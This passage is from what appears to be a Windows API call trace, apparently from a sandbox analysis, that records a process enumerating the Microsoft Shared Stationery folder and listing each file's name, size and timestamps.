ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0240.610] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0240.610] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0240.610] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0240.610] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0240.610] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0240.610] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0240.610] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0240.610] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0240.610] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0240.610] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0240.610] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0240.610] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0240.610] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0240.610] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0240.610] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0240.610] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0240.610] GetLastError () returned 0x12 [0240.610] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0240.610] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0240.611] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.611] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0240.611] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0240.611] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0240.611] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0240.611] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0240.611] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0240.611] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0240.611] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0240.611] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0240.611] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0240.611] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0240.611] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0240.611] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0240.611] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, 